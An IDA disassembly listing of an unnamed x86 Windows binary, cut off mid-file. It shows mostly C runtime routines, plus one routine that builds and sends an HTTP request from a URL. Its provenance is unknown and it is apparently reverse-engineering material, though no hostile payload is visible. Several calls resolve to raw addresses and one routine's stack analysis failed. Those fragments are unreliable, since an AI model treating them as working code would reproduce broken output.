sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2850000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

